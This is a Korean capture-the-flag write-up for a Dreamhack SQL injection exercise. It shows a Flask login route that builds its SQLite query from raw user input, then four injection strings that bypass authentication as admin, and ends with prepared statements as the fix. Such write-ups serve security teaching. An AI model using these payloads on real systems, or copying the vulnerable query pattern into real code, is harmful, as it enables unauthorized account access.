엔드포인트: /login
Figure2는 로그인 페이지를 구성하는 코드입니다. 코드를 살펴보면, 메소드에 따른 요청마다 다른 기능을 수행하는 것을 알 수 있습니다.
GET
userid와 userpassword를 입력할 수 있는 로그인 페이지를 제공합니다. userid와 password 입력창에 guest를 입력하면 로그인을 수행할 수 있습니다.
POST
이용자가 입력한 계정 정보가 데이터베이스에 존재하는지 확인합니다. 이때, 로그인 계정이 admin일 경우 FLAG를 출력합니다.
login 페이지 코드
@app.route('/login', methods=['GET', 'POST']) # Login 기능에 대해 GET과 POST HTTP 요청을 받아 처리함
def login(): # login 함수 선언
if request.method == 'GET': # 이용자가 GET 메소드의 요청을 전달한 경우,
return render_template('login.html') # 이용자에게 ID/PW를 요청받는 화면을 출력
else: # POST 요청을 전달한 경우
userid = request.form.get('userid') # 이용자의 입력값인 userid를 받은 뒤,
userpassword = request.form.get('userpassword') # 이용자의 입력값인 userpassword를 받고
# users 테이블에서 이용자가 입력한 userid와 userpassword가 일치하는 회원 정보를 불러옴
res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
if res: # 쿼리 결과가 존재하는 경우
userid = res[0] # 로그인할 계정을 해당 쿼리 결과의 결과에서 불러와 사용
if userid == 'admin': # 이 때, 로그인 계정이 관리자 계정인 경우
return f'hello {userid} flag is {FLAG}' # flag를 출력
# 관리자 계정이 아닌 경우, 웰컴 메시지만 출력
return f'<script>alert("hello {userid}");history.go(-1);</script>'
# 일치하는 회원 정보가 없는 경우 로그인 실패 메시지 출력
return '<script>alert("wrong");history.go(-1);</script>'
익스플로잇
로그인 쿼리
SELECT * FROM users WHERE userid="{userid}" AND userpassword="{userpassword}";
SQL Injection 공격 쿼리문 작성
/*
ID: admin, PW: DUMMY
userid 검색 조건만을 처리하도록, 뒤의 내용은 주석처리하는 방식
*/
SELECT * FROM users WHERE userid="admin"-- " AND userpassword="DUMMY"
/*
ID: admin" or "1 , PW: DUMMY
userid 검색 조건 뒤에 OR (또는) 조건을 추가하여 뒷 내용이 무엇이든, admin 이 반환되도록 하는 방식
*/
SELECT * FROM users WHERE userid="admin" or "1" AND userpassword="DUMMY"
/*
ID: admin, PW: DUMMY" or userid="admin
userid 검색 조건에 admin을 입력하고, userpassword 조건에 임의 값을 입력한 뒤 or 조건을 추가하여 userid가 admin인 것을 반환하도록 하는 방식
*/
SELECT * FROM users WHERE userid="admin" AND userpassword="DUMMY" or userid="admin"
/*
ID: " or 1 LIMIT 1,1-- , PW: DUMMY
userid 검색 조건 뒤에 or 1을 추가하여, 테이블의 모든 내용을 반환토록 하고 LIMIT 절을 이용해 두 번째 Row인 admin을 반환토록 하는 방식
*/
SELECT * FROM users WHERE userid="" or 1 LIMIT 1,1-- " AND userpassword="DUMMY"
취약점 분석
userid와 userpassword를 이용자에게 입력받고, 동적으로 쿼리문을 생성한 뒤 query_db 함수에서 SQLite에 질의합니다. 동적으로 생성한 쿼리를 RawQuery라고 합니다.
- 취약점: 이용자의 입력값이 포함된 쿼리를 동적으로 생성하고 사용하면서 발생
- 해결: Prepared Statement 와 Object Relational Mapping (ORM) 사용
- Prepared Statement는 동적 쿼리가 전달되면 내부적으로 쿼리 분석을 수행해 안전한 쿼리문을 생성합니다.
'KERT > WarGame' 카테고리의 다른 글
[dreamhack] Mango 문제 풀이 (0) | 2023.07.27 |
---|---|
[dreamhack] simple_sqli 문제 풀이 (0) | 2023.07.26 |
[dreamhack] Exercise: CSRF (0) | 2023.07.17 |
[dreamHack] xss-1, xss-2 (0) | 2023.07.17 |
[dreamhack] Exercise: XSS (0) | 2023.07.16 |